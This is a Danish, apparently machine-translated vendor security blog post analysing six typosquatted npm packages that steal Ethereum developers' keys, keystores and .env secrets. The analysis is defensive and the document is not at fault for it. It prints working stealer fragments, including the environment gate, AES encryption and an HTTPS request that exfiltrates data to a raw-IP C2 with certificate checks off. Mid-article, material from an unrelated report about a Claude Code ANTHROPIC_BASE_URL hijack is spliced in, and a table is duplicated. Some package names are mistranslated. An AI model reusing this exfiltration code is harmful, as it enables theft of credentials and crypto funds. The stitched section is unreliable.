EVMDeFi npm Typosquatting-angreb stjæler udviklernøgler

EVM/DeFi npm Typosquatting-angreb stjæler udviklernøgler

TL; DR

Den 6. maj 2026, en enkelt npm-udgiver, namikazesarada010206, udsendte seks ondsindede pakker rettet mod Ethereum-, Solidity- og DeFi-udviklerøkosystemerne.

Pakkerne, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsog web3-utils-core, brugte plausible navne designet til at ligne hjælpebiblioteker til populære Web3-værktøjer.

Alle seks pakker indeholdt det samme telemetry.js fil. Filen var byte-identisk på tværs af klyngen med SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malwaren kører ikke under installationen. Der er ingen preinstall or postinstall hook. I stedet aktiveres den, når pakken importeres via require().

Den detalje er vigtig.

Implantatet venter, indtil en udvikler rent faktisk bruger pakken. Derefter kontrollerer det, om arbejdsstationen ligner et rigtigt Ethereum/Solidity-udviklingsmiljø. Det leder efter Alchemy- eller Infura-nøgler, private nøgler, mnemonics, deployer-nøgler eller en lokal Foundry-mappe.

Hvis værten matcher, indsamler stjæleren SSH private nøgler, Foundry / Geth / Brownie wallet-nøglelagre, .env* filer og følsomme miljøvariabler. Den krypterer bundtet med AES-256-GCM ved hjælp af en hardcoded adgangskode og eksfiltrerer det til et råt IPv4 C2-slutpunkt med TLS-verifikation deaktiveret.

Xygenis Malware Early Warning (MEW)-system bekræftede alle seks pakker som skadelige. NPM-registreringsrapportpakken afventer behandling.

Klyngen: Seks pakker, én udgiver

Udgiverkontoen namikazesarada010206 var knyttet til den ubekræftede Gmail-adresse namikazesarada010206@gmail.com.

Kampagnen udkom som en endags publikationsudgivelse den 6. maj 2026. Alle seks pakker blev versioneret som 1.0.0, havde nul runtime-afhængigheder og leverede kun tre filer:

package.json index.js telemetry.js

De erklærede også det samme kildelager:

https://github.com/harunosakura030303-maker/evmchain-config

De første tre pakker blev fanget af MEW-scannere ved første udgivelse. De resterende tre blev tvangsmarkeret efter en analytikergennemgang af udgiverens npm-profil. Når den samme byte-identiske telemetry.js blev bekræftet på tværs af klyngen, blev de lukket som ondsindede på grund af konsistens.

Pakke Version npm Udgivet MEW-billet Bedømmelse
viem-kerne 1.0.0 2026-05-06 01:38:44Z #51049 Ondsindet
viem-utils-core 1.0.0 2026-05-06 #51050 Ondsindet
hardhat-core-utils 1.0.0 2026-05-06 #51051 Ondsindet
evm-utils 1.0.0 2026-05-06 #51069 Ondsindet, af konsekvens
støberi-udstyr 1.0.0 2026-05-06 #51071 Ondsindet, af konsekvens
web3-utils-core 1.0.0 2026-05-06 #51070 Ondsindet, af konsekvens

Navngivningsstrategien er ligetil, men effektiv.

Disse pakker efterligner ikke nøjagtige upstream-navne. I stedet bruger de plausible "utility"-suffikser som f.eks. -core, -utilsog -utils-coreDet får dem til at ligne ledsagebiblioteker, som en udvikler måske forventer at se i nærheden af ​​Web3-værktøjer.

Ondsindet pakke Legitim mål
viem-kerne viem, en populær Ethereum TypeScript-klient
viem-utils-core viem
hardhat-core-utils hardhat, et mainstream Solidity-udviklingsmiljø
evm-utils Generisk EVM-værktøjsnavneområde
støberi-udstyr støberi, en Solidity-værktøjskæde
web3-utils-core web3-utils, Web3.js-hjælpere

Dette er mønsteret for den "supplerende pakke": ikke "Jeg er den rigtige pakke", men "Jeg ligner en fornuftig hjælper omkring den rigtige pakke".

For DeFi-udviklere, der bevæger sig hurtigt, er det nok til at skabe risiko.

Hvad sker der, når pakken importeres

Angrebskæden er lille, bevidst og fokuseret på kryptoudviklingsmiljøer.

Der er ingen monteringskrog. I stedet indeholder hver pakke en index.js der eksporterer stub-funktionalitet og derefter indlæser det ondsindede telemetrimodul.

require('./telemetry').init();

Det betyder, at malwaren aktiveres ved første import.

Det er operationelt nyttigt for angriberen. Mange scannere og sandkasser fokuserer på installationsadfærd. Denne pakke venter, indtil den rent faktisk bruges af en udvikler, et buildscript, en testsuite eller en runtime-sti.

Aktiveringsportal: Aktiver kun på rigtige Web3-udviklerarbejdsstationer

Den vigtigste del af implantatet er aktiveringsporten.

Malwaren tjekker for miljøvariabler, der almindeligvis findes på Ethereum/Solidity-udviklermaskiner:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Den kontrollerer også, om Foundry ser ud til at være installeret:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Hvis ingen af ​​betingelserne er sande, returnerer funktionen og gør ingenting.

Det gør pakken mere stille i generiske analysemiljøer. En sandkasse uden Foundry, Alchemy-nøgler, Infura-nøgler, private nøgler eller mnemonics kan opleve en harmløs import.

På en matchende vært venter malwaren 60 til 90 sekunder, før den indsamles:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Forsinkelsen reducerer den åbenlyse sammenhæng mellem import og udfiltrering. .unref() `call` tillader også værtsprocessen at afslutte normalt, hvis pakken blev importeret i et kortlivet script.

Dette er ikke støjende "smash-and-grab"-adfærd. Det er en målrettet "stealer"-adfærd, der er designet til at undgå at køre, medmindre udviklermiljøet er værd at stjæle fra.

Hvad stjæleren samler

Når aktiveringsportalen er passeret, indsamler malwaren fra de kilder, der er mest betydningsfulde i Web3-udvikling: private nøgler, wallet-nøglelagre, implementeringsoplysninger, cloud-hemmeligheder, npm-tokens og lokal projektkonfiguration.

Kilde Hvad der indsamles
proces.env Enhver variabel, der matcher /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer, der indeholder PRIVATE KEY eller BEGIN OPENSSH, inklusive det fulde filindhold
~/.foundry/nøglebutikker/* Foundry wallet-nøglelagerfiler
~/.ethereum/nøglebutik/* Geth wallet-nøglelagerfiler
~/.brownie/konti/* Brownie wallet-nøgleopbevaringsfiler
${cwd}/.env Fuld filindhold
${cwd}/.env.local Fuld filindhold
${cwd}/.env.production Fuld filindhold
${cwd}/.env.development Fuld filindhold
os.værtsnavn() Værtsmetadata
krypto.tilfældigUUID() Offer-/sessionsidentifikator
Dato.nu() Tidsstempel for afhentning
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA-tokensene er:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Vi har ikke været i stand til at bekræfte, om telemetrien var operatørens egen analyse eller en separat monetariseret kanal. ATTA-tokens er de samme i begge de stikprøver, vi undersøgte.

Klynge B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

Stikprøven fra 1. april er den mere grove, tidligere del af kampagnen.

heibai:2.1.88-claude.hk-4 blev udgivet af wuguoqiangvip28, en konto oprettet 7. juni 2025. Pakken versionserede sig selv eksplicit imod den legitime version. 2.1.88 Antropisk udgivelse.

Den generer ikke CA-cert MITM. I stedet lyver den for brugeren om OAuth-slutpunktet.

De ondsindede tilføjelser oven i den lækkede Claude Code-kildekode inkluderer:

Kilde Hvad der indsamles
proces.env Enhver variabel, der matcher /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Filer, der indeholder PRIVATE KEY eller BEGIN OPENSSH, inklusive det fulde filindhold
~/.foundry/nøglebutikker/* Foundry wallet-nøglelagerfiler
~/.ethereum/nøglebutik/* Geth wallet-nøglelagerfiler
~/.brownie/konti/* Brownie wallet-nøgleopbevaringsfiler
${cwd}/.env Fuld filindhold
${cwd}/.env.local Fuld filindhold
${cwd}/.env.production Fuld filindhold
${cwd}/.env.development Fuld filindhold
os.værtsnavn() Værtsmetadata
krypto.tilfældigUUID() Offer-/sessionsidentifikator
Dato.nu() Tidsstempel for afhentning

Mållisten er meget specifik. Dette er ikke generisk browsertyveri eller bred scraping af legitimationsoplysninger. Den er rettet mod udviklere, der bygger, tester, implementerer eller driver Ethereum-applikationer.

Inkluderingen af ​​Foundry-, Geth- og Brownie-nøglelagre er særligt vigtig. Disse filer kan repræsentere direkte adgang til tegnebøger eller implementeringsidentiteter. Hvis angriberen kan parre dem med adgangskoder, huskeregler eller miljøhemmeligheder, kan de muligvis flytte penge, udgive sig for at være implementeringsbrugere eller kompromittere smarte kontraktoperationer.

Kryptering før eksfiltrering

Malwaren krypterer de indsamlede data, før de sendes ud.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Den hardkodede adgangskode er:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Den endelige nyttelast er pakket ind som JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Kryptering gør ikke malwaren mere avanceret i sig selv. Det gør dog netværksinspektion vanskeligere. En forsvarer, der overvåger udgående kode, ville se en JSON-nyttelast, men ikke de stjålne nøgler, wallet-filer eller .env indhold uden den hardkodede adgangskode og dekrypteringslogik.

Eksfiltrering til en rå IPv4 C2

Eksfiltreringsstien er hardcodet:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malwaren sender data til:

https://76.13.37.80:8443/api/v1/telemetry

To detaljer skiller sig ud.

For det første er C2 en rå IPv4-adresse snarere end et domæne. Det fjerner behovet for domæneregistrering og undgår visse domænebaserede detektioner.

For det andet er TLS-verifikation deaktiveret med:

rejectUnauthorized: false

Det gør det muligt for malwaren at acceptere ethvert certifikat, inklusive selvsignerede certifikater. Med andre ord får angriberen krypteret transport uden at skulle bruge et gyldigt offentligt certifikat.

Der er ingen gentagelseslogik og ingen reservevært. Fejl sluges lydløst. Dette holder pakken stille, hvis C2 er offline eller ikke kan nås.

Hvorfor denne kampagne er vigtig

De fleste ondsindede npm-pakker rettet mod udviklere jagter brede legitimationsoplysninger: npm-tokens, AWS-nøgler, GitHub-tokens eller .npmrc filer.

Denne kampagne indsnævrer målet.

Den leder efter tegn på, at maskinen tilhører en Ethereum- eller Solidity-udvikler. Derefter henter den præcis de aktiver, der er vigtige i det pågældende miljø: wallet-nøglelagre, private nøgler, mnemonics, deployer-nøgler, .env filer og SSH-nøgler.

Det gør kampagnen farligere for Web3-teams end en generisk npm-stjæler.

En vellykket infektion kan afsløre:

  • Implementeringstegnebøger
  • Smarte kontraktadministratornøgler
  • RPC-udbydernøgler
  • Loginoplysninger for cloud-implementering
  • npm-udgivelsestokens
  • SSH-adgang til udvikler- eller byggeinfrastruktur
  • Projekthemmeligheder gemt i .env filer
  • Nøgleopbevaring til tegnebøger til Foundry, Geth eller Brownie

Pakkenavnene viser også tydelig social engineering. De er rettet mod Web3-udviklernes økosystem gennem velkendte værktøjsnavne: viem, hardhat, foundry, evmog web3.

Aktøren behøver ikke at gå på kompromis med de virkelige projekter. De behøver kun en udvikler til at installere, hvad der ligner en rimelig ledsagende pakke.

Indikatorer for kompromittering og detektion

Pakker og udgiver
Felt Værdi
npm-udgiver namikazesarada010206
Udgiverens e-mail namikazesarada010206@gmail.com
E-mail bekræftet Ingen
SCM verificeres Ingen
Omdømme score 1.0
Pakker viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versioner Alle 1.0.0
Kildelager https://github.com/harunosakura030303-maker/evmchain-config
Bekræftet skadelig Alle seks pakker
Netværk
Type Værdi
C2-slutpunkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-port 8443/tcp
TLS-adfærd afvisUautoriseret: falsk
Nyttelastskema {"v":2,"iv": "d": "t": }
Filer og hashes
Type Værdi
telemetri.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakkelayout pakke.json, indeks.js, telemetri.js
Filantal 3
Omtrentlig samlet størrelse 3.4 KB

Aktiveringssignaler

Malwaren tjekker for disse miljøvariabler:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Den tjekker også for:

~/.foundry/

Målrettede værtsstier

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Samlingsregex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detektionsnoter

Flere regler fanger denne kampagne uden behov for en fuld adfærdsanalyse.

Først skal du scanne låsefiler for de seks ondsindede pakkenavne:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Enhver kamp i package-lock.json, yarn.lock, pnpm-lock.yaml eller node_modules Historien bør behandles som en alvorlig hændelse.

For det andet, overvåg Node.js-processer, der læser wallet-nøglelagerstier:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Dette er sjældent legitim adfærd for en pakke, der importeres som en hjælpeafhængighed. Det er især mistænkeligt, når det efterfølges af udgående netværksaktivitet.

For det tredje, bloker eller advarer om HTTPS-forbindelser til:

76.13.37.80:8443

Især når anmodningsstien er:

/api/v1/telemetry

For det fjerde, søg efter npm-pakker, der kombinerer disse egenskaber:

  • Ny eller lavt omdømme udgiver
  • Ubekræftet Gmail-konto
  • Web3-tilstødende pakkenavn
  • Ingen meningsfuld arkivhistorik
  • Lille pakkelayout
  • index.js der indlæser en telemetri- eller hjælpefil
  • Ingen runtime-afhængigheder
  • Samling af følsomme miljøvariabler
  • Adgang til nøglelageret på Wallet

Dette mønster er mere nyttigt end en enkelt IOC, fordi den næste pakke kan ændre IP-adressen, men beholde den samme målretningslogik.

Tjekliste for kompromisrespons

Hvis en udvikler brugte en af ​​de seks pakker, og deres miljø matchede aktiveringsportalen, skal arbejdsstationen behandles som kompromitteret.

Det omfatter maskiner med Foundry installeret, Alchemy- eller Infura-nøgler i miljøet, private nøgler, mnemonics eller deployer-nøgler.

Anbefalet svar:

  • Afbryd forbindelsen til værten fra netværket.
  • Bevar node_modules, låsefiler, shell-historik og relevante logfiler til retsmedicin.
  • Roter hvert SSH-nøglepar under ~/.ssh/.
  • Roter tegnebogsnøgler for hver nøglebutik under ~/.foundry, ~/.ethereumog ~/.brownie.
  • Flyt penge til nye tegnebøger.
  • Roter alle hemmeligheder gemt i .env* filer i arkiver, som udvikleren arbejdede i.
  • Roter miljøhemmeligheder, der matcher samlingens regex, inklusive AWS-nøgler, npm-tokens, deploy-tokens, API-nøgler, private nøgler, seeds og mnemonics.
  • Revider cloud-, npm-, GitHub-, RPC-udbyder- og blockchain-aktivitet, siden pakken først blev installeret.
  • Genopret et image af arbejdsstationen før genbrug.

Hvad forsvarere bør tage med sig

Denne kampagne viser, hvordan npm typosquatting udvikler sig omkring økosystemer med høj værdi for udviklere.

Skuespilleren behøvede ikke vedholdenhed. De behøvede ikke forvirring. De behøvede ikke engang udførelse på installationstidspunktet.

I stedet stolede de på tre ting:

  • Plausible Web3-pakkenavne
  • Aktivering kun på rigtige kryptoudviklingsmaskiner
  • Direkte tyveri af de filer og hemmeligheder, der betyder mest for Ethereum-udviklere

Det gør kampagnen let at overse i bred skanning og farlig, når den lander i det rigtige miljø.

For Web3-teams er lektien klar: Behandl afhængighedsnavne som en del af din trusselsmodel. En pakke, der ligner en harmløs hjælper, kan stadig være den korteste vej til kompromittering af din wallet.

Rapporteret til npm-registret. Vi opdaterer dette indlæg, når udgiverkontoen og pakkerne er fjernet.

sca-tools-software-kompositionsanalyseværktøjer
Prioriter, afhjælp og sørg for dine softwarerisici
Få din gratis konto.
Der kræves ikke noget kreditkort.

Sikr din softwareudvikling og -levering

med Xygeni-produktsuite